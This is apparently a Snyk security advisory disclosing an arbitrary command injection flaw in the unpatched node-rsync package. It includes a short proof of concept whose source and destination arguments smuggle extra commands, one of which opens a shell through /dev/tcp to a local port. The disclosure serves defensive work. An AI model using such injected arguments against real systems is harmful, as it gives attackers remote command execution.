Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Command Injection vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for node-rsync
.
node-rsync is a Rsync wrapper for Node.js
Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.
// Build the command var rsync = new Rsync() .shell('ssh') .flags('az') .source(';/path/to/source') .destination('&sh</dev/tcp/127.0.0.1/4444');
// Execute the command rsync.execute(function (error, code, cmd) { console.log(cmd) });